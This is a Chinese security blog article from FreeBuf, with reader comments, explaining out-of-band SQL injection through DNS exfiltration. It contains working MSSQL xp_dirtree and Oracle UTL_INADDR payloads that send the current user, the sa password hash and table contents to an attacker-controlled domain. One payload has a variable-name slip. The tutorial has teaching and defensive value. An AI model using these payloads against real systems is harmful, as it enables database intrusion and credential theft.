OOB(out of band)分析系列之DNS渗漏

*本文原创作者:温酒,本文属FreeBuf原创奖励计划,未经许可禁止转载
前言 SQL注入作为最老的漏洞之一,它的价值随着整个web的发展从来没有过时,足以证明它的地位和价值。
我和很多人聊过这个漏洞,发现很多人对这个漏洞的了解只是拿sqlmap干,好一点的还会手注,懂原理。
但是它们本身只了解到了这个漏洞的实战效果和实战需要等等,并没有深入了解这个漏洞。但是这个漏洞本身基于数据库,而数据库是很灵活的,就会发展出很多邪道。笔者最近看了很多关于sql注入的文章,发现国外已经玩出玫瑰花来了,就打算写个系列总结一下。
这篇文章的面向对象不是新手,起码你要会sql的手注,知道sql注入的原理并且熟知各大数据库的函数和特性。因为这篇文章不会讲这些东西但是又基于这些东西,不会是很难看懂的。
我的QQ:1478023488 欢迎任何人找我讨论,但是拒绝闲聊和扯淡.
OOB SQL注入类型细分,分为以下5种:

  • 1. Boolean-based blind SQL injection
  • 2. Error-based SQL injection
  • 3. UNION query SQL injection
  • 4. Stacked queries SQL injection
  • 5. Time-based blind SQL injection
共计3大类:
  • 1. inband
  • 2. inference
  • 3. out of band(OOB)
这篇文章的主题是out of band,即OOB。
它与我们熟知的inband类的注入相反。inband是利用web应用来直接获取数据,比如Error-based SQL injection和UNION query SQL injection都是属于inband类,它们都是通过web的响应或者错误反馈来提取数据。
而inference则是通过web的一些反映来推断数据,比如Boolean-based blind SQL injection和Stacked queries SQL injection 也就是我们通俗的盲注,通过web应用的其他改变来推断数据。
(因为我喜欢php,所以用PDO作为基准,而PDO只会返回第一条SQL语句的执行结果,
所以一般不能直接拿到数据,一般都是通过update某个可见字段或者sleep注入,所以我归为inference类)
Method requests Time
Boolean-based blind 29,212 214.04
Time-based (1 sec) 32,716 17,720.51
Error-based 777 9.02
Union (full/partial) 3/136 0.70/2.50
DNS exfiltration 1,409 35.31
数据来源
我们的主角OOB则是通过其他传输方式来获得数据,比如利用我们等会要说到的DNS解析协议和电子邮件。当你遇到了某些很隐蔽的注入点,inband类注入没办法用,inference类注入被你嫌弃太慢的时候,OOB就是你最好的选择了。
利用DNS偷走数据
当说这个之前,你需要知道DNS的原理:
  1. 首先用户通过自己设置的DNS服务器查询域名
  1. 如果没查询到,就向上一级的DNS服务器查询,
  1. 上一级的DNS服务器返回查询到的DNS服务器的地址,然后向DNS服务器查询子域名,最终返回子域名的IP地址
实际上复杂的多,是一个分级查询。先向根域名服务器查询顶级域名服务器,然后顶级域名服务器查询次级域名,这样一层层查询下来的。
作为攻击者,我们只能控制需要查询的域名和域名的NS服务器。域名的NS服务器可以在域名注册商那里修改,如何搭建NS服务器就不谈了。
以及还需要知道win对UNC(Universal-Naming-Convention)的内在支持,当我们尝试连接到一个UNC路径的时候,win会先查找目标域名的ip地址,用以建立连接。比如,给某个文件处理函数的文件路径是\\admin.xiaoze.com\tops\这种,那么win操作系统会在xiaoze.com的dns服务器上查找admin.xiaoze.com的域名的ip。所以我们可以通过监视dns服务器来捕获数据。
那么显然,利用dns偷数据的方法,除了大家熟知的mysql+win环境可以利用,只要是有能操控文件的函数且在win环境下运行的数据库都可以利用这种方法。
比如mssql的4个文件操作函数:
函数名 支持的数据库版本 需要的参数
xp_getfiledetails Microsoft SQL Serves 2000 文件路径
xp_fileexist 全系列 文件路径
xp_dirtree 全系列 文件路径
xp_subdirs 全系列 文件路径
利用dns获得当前登陆的用户,可以使用:
declare @xiaoze char(128); set @xiaoze='\\'+system_user+'.xiaoze.com.'; exec master..xp_dirtree @xiaoze

如果想获得sa账号的密码hash,可以使用:
declare @xiaoze varchar(128); select @host="\\'+(select top 1 master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name='sa') +'.xiaoze.com.'; exec master..xp_dirtree @xiaoze;

因为在测试的时候发现直接使用字符串拼接会报错,所以我用了一个变量来保存路径。但是也有小伙伴测试发现直接拼接不会报错,具体情况大家自己搭建环境测试吧,我的环境是Microsoft SQL Serves 2000。
上面的语句通过文件操作函数触发了win的UNC,引发了一次DNS操作,在向我们的ns服务器查询子域名ip的时候就可以捕捉到数据。
同样,除了mssql和mysql可以利用dns偷数据,只要内置文件操作函数的数据库都可以利用。
比如Oracle,Oracle的利用比mssql简单很多。可以直接使用UTL_INADDR包(官方文档戳我),而且因为不依赖PL/SQL所以可以直接插入到子查询或者where之后。
在Oracle下想获得数据库登陆用户可以用:
select * from xiaoze where lmz=UTL_INADDR.GET_HOST_ADDRESS ((SELECT USER FROM DUAL)||'.xiaoze.com'

其他的比如MySQL和PostgreSQL也是一样的原理,我就不浪费篇幅了。
实际问题 这个技术本质是利用UNC发起的DNS查询,所以UNC的路径不能超过128,否则会失败。所以我上面的中间变量长度都是128。同时也不能出现非法字符,否则也会失败。
一般会把希望传递的数据转化成能被dns正确处理的格式,比如变成16进制。mssql内置了一个名为fn_varbintohexstr的函数,它接收一个字符串作为参数并返回这个字符串的16进制表示。比如:select master.dbo.fn_varbintohexstr(cast(SYSTEM_USER as VARBINARY))。这句sql语句执行的结果是0x73006100,也就是sa的unicode编码后的样子。
接下来就是长度问题,因为经过上面的16进制编码之后,128个字符的空间就显的太少了,很容易就超出。这样要么我们只能收到前128个字符,剩下的就被丢掉了,也可能干脆直接失败。128包括完整的整个请求,包括前面的\\和结尾的com.这点尤为注意。同时一个标识符占用128个字符是非法的,最多不能超过63个字符,比如com就是一个标签符,它占用3个字符。
具体的解释请打开《TCP/IP详解–卷1:协议》(机器工业出版社第一版)的第146页中间的图14-6那段。
为了能正常完整的偷取数据,我们需要对数据进行编码,并且不能超过63个字节。编码可以用fn_varbintohexstr函数解决。长度可以用substring函数截取控制长度。
完整且能保证稳定的利用语句:
declare @xiaoze char(128); select @xiaoze='\\'+master.dbo.fn_varbintohexstr( CAST(SUBSTRING((SELECT TOP 1 CAST(XiaoZe AS char(255)) FROM LMZ),1,26) AS VARBINARY(255)))+'.XiaoZeLoveLMZ.com.'; EXEC master..xp_dirtree @xiaoze;

由于dns查询会先查看本地缓存,所以为了能成功发出查询,建议在请求中加入一些随机值,比如我在我自己写的工具里面,随机值是我老婆每个月的月经时间,每次向后推两天,幸好她的月经时间不固定,否则我只能随机她生气的时间了。比如她看到这段话的时候?
结语 实际上OOB的方法很多,但是大部分都是实战意义不高的技术。比如利用icmp和电子邮件或者http头来偷数据。如果有人有兴趣,我会全部写一遍的。
参考文章
在SQL注入中使用DNS获取数据Data Retrieval over DNS in SQL Injection Attacks万能且最厉害以及最帅气还有单身时间最久的咸鱼师傅TCP/IP详解–卷1:协议–第14章DNS域名系统What is Universal Naming Convention (UNC)?SQL注入攻击与防御(第2版)以及无数被我看过的文章
*本文原创作者:温酒,本文属FreeBuf原创奖励计划,未经许可禁止转载
OOB(out of band)分析系列之DNS渗漏
文章图片
温酒 2 篇文章 等级: 3级| |
发表评论 已有 9 条评论
  • OOB(out of band)分析系列之DNS渗漏
    文章图片
    常运OOB(out of band)分析系列之DNS渗漏
    文章图片
    (5级) c4td0g, 信安从业者,信安爱好者。(各位爷,轻点喷) 2017-07-04 回复 1楼 感觉你还是不懂你自己说的,另外这在国内似乎一年前就有开源项目。没关注到不代表没有。
    亮了( 3)
  • OOB(out of band)分析系列之DNS渗漏
    文章图片
    常运OOB(out of band)分析系列之DNS渗漏
    文章图片
    (5级) c4td0g, 信安从业者,信安爱好者。(各位爷,轻点喷) 2017-07-04 回复 2楼 感觉你还是不懂你自己说的,另外这在国内似乎三年前就有开源项目。没关注到不代表没有。
    亮了( 0)
    • OOB(out of band)分析系列之DNS渗漏
      文章图片
      softbugOOB(out of band)分析系列之DNS渗漏
      文章图片
      OOB(out of band)分析系列之DNS渗漏
      文章图片
      (7级) 011101000110100001100001011011... 2017-07-04 回复@ 常运开源的项目叫神马来着,一下没想起来 之前fb的文章提到过
      亮了( 0)
  • OOB(out of band)分析系列之DNS渗漏
    文章图片
    1232017-07-04 回复 3楼 前提是:服务器能连外网
    管理严格的甲方,服务器是不允许上外网的(连DNS都只能请求特定的几个域名)
    亮了( 3)
  • OOB(out of band)分析系列之DNS渗漏
    文章图片
    Limerain2017-07-04 回复 4楼 小编是不是手滑打错了:“比如Error-based SQL injection和Error-based SQL injection都是属于inband类”
    亮了( 0)
    • OOB(out of band)分析系列之DNS渗漏
      文章图片
      AngelaYOOB(out of band)分析系列之DNS渗漏
      文章图片
      (4级) 这家伙太懒了,还未填写个人描述! 2017-07-04 回复@ Limerain 感谢指出~已经联系作者修改了。
      亮了( 0)
  • OOB(out of band)分析系列之DNS渗漏
    文章图片
    屌丝绅士(5级) 做自己的自己 和平年代的炮灰,战争年代的爆破鬼才 2017-07-04 回复 5楼 DMZ区域之内,内外网是相互隔离的,解析也金鸡奖只有那么几个域名,在者,个人给作者一个建议,不详细,短小,尽可能的增加以下篇幅,而不是草草了事,希望您这边能够采纳,
    亮了( 0)
  • OOB(out of band)分析系列之DNS渗漏
    文章图片
    ANan安安安安安安安2017-07-04 回复 6楼 计科有什么好的毕设推荐
    亮了( 0)
  • OOB(out of band)分析系列之DNS渗漏
    文章图片
    softbugOOB(out of band)分析系列之DNS渗漏
    文章图片
    OOB(out of band)分析系列之DNS渗漏
    文章图片
    (7级) 011101000110100001100001011011... 2017-07-04 回复 7楼 【OOB(out of band)分析系列之DNS渗漏】http://www.2cto.com/article/201503/383967.html 是一个意思吗?
    亮了( 2)

    推荐阅读